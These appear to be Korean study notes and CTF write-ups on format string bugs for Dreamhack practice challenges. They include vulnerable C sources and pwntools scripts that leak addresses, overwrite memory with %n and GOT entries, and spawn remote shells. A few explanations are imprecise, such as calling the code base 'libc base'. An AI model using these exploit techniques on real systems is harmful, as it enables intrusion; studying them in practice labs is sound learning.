%[parameter][flags][width][.precision][length][specifier]
형식 지정자
사용자가 직접 입력할 수 있을때, 공격자는 레지스터, 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기 가능
64bit : register에 arg 저장하여 함수 호출
- rdi, rsi, rdx, rcx, r8, r9, rsp, rsp + 8, rsp + 16 ....
임의 주소 읽기
- 위에서 언급한 %p를 적극활용
- AAAA %p %p %p ... 입력시 AAAA가 어디에 위치해 있는지 알 수 있다. -> offset 찾기 위한 과정
- %1111c%1$n : 1111 바이트의 문자열을 출력하고, 1번째 offset에 그 바이트를 16진수로 저장
- %n : 4byte 저장
- %hn : 2byte
- %hhn : 1byte

- x64
- canary 없다
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
- bof 불가능
- 무한 루프 -> 특정 주소 leak 가능
- changeme 주소 구하기 위한 Libc base 구하는 작업 필수
- changeme variable is non initialized globa variable : symbols 통해서 추적 가능
- printf가 시작하기전에 gdb 통해서 main함수가 rsp 어디에 저장되는지 checking




- 0x58 위치에 저장된 것 확인 가능
- vmmap 통해서 codesection start 지점확인
- 0x1293 차이나는 것 확인가능
- binary실행 환경이나 PIE등의 조건때문에 address는 달라짐
- offset distance는 일정하게 유지됨
- first Loop에서 main의 주소를 가져오고 0x1293을 빼준다
- libc base = main - 0x1293
- e.sym['changeme'] 통해서 변수 주소 가져온 후 libc base 더해줌
- change_addr = e.sym['changeme'] + libc base
- 이후 저절한 payload 작성
from pwn import *
p = remote("host1.dreamhack.games", 12431)
e = ELF("./fsb_overwrite")
# gdb 통해서 파악한 이후 해당 코드 작성할 것
# 1. 메인 안의 Printf 함수 호출하는 줄에 breakpoint를 건다
# 2. x/30xg $rsp 를 통해 code section 안을 참조하는 부분이 어디인지 파악
# vmmap을 통해서 확인가능 0x555555....으로 시작할 것
# 찾은 주소와 start 주소를 뺀다 -> libc base
# $rsp + 0x58에 위치해 있다 -> get the address of the 17th offset
# 원격서버에서는 + 0x48에 위치..?
p.sendline(b"%15$p")
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + e.sym['changeme']
# %1337c%8 - rsp
# $nAAAAAA - rsp + 8
# addr of changeme - rsp + 16
# %8$n -> 8번째 arg에 바이트크기를 저장해라
# 8th arg is rsp + 16
payload = b"%1337c" + b"%8$n" + b'A'*6 + p64(changeme)
p.sendline(payload)
p.interactive()
- 주석을 통해서 각각의 Payload가 어떤 역할 하는지 확인 가능
- local 과 remote 간의 offset 차이 존재하기때문에 Dockerfile 통해서 미리 확인해볼 것
- 나는 AAAA 이후 %p 를 20개 정도 적으며 체크해봄

void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}

- exit 함수를 get_shell 함수로 overwrite 하면 될듯
- pwntool중에 Overwirte 편하게 해주는 함수 발견
- fmtstr_payload(offset, {changed addr : changing addr})
from pwn import *
p = remote("host3.dreamhack.games", 20226)
e = ELF("./basic_002")
exit_plt = e.got['exit']
get_shell = e.sym['get_shell']
payload = fmtstr_payload(1, {exit_plt : get_shell})
p.sendline(payload)
p.interactive()

void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
- canary 없기때문에 Overflow로 ret addr overwrite 하면될 듯
- gdb 통해서 buf2rbp 값 구하기
- 0x98 + 4 = 156(buf2ret)
p = remote("host1.dreamhack.games", 20589)
e = ELF("./basic_003")
get_shell = e.sym['get_shell']
payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()